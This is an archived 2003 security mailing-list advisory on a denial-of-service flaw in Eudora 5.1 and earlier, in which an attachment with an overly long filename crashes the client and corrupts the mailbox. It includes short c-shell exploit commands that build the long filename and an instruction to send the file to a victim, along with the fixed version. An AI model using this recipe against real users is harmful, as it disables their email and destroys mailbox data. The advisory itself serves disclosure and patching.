[EXPL] DoS Vulnerability in Eudora

From: support@securiteam.com
Date: 03/05/03

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To: list@securiteam.com
Date: 5 Mar 2003 20:27:38 +0200

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      DoS Vulnerability in Eudora
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.Eudora.com> Eudora, developed and distributed by Qualcomm, is
    a Mail User Agent running on Windows 95/98/2000/ME/NT 4.0 and MacOS 8.1 or
    later.
    A remote user can create a DoS attack by sending a file with an
    exceptionally long name. This does not cause an exploitable buffer
    overflow but crashes the program.
    In addition, the mailbox will be corrupted and cause the program to crash
    every time.

    Note this is a different issue than the one discussed here:
    <http://www.securiteam.com/windowsntfocus/5IP022A80I.html> Windows buffer
    overflow vulnerability

    DETAILS

    Vulnerable versions:
     * Eudora Versions 5.1.* and lower

    Immune versions:
     * Eudora Version 5.2 and higher

    Exploit Code:
    Create a text file with a long name using:
    $ set a=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAA
    and
    $ echo "security" >! $a.txt
    (Written in c-shell)

    Then send the file two or three times as an attachment to the victim.

    Solution:
    Download latest version of Eudora at:
    <http://www.eudora.com/email/upgrade/index.html> Eudora Update

    ADDITIONAL INFORMATION

    Information was provided by <mailto:conde0@telephonica.net> David
    Fernandez Madrid

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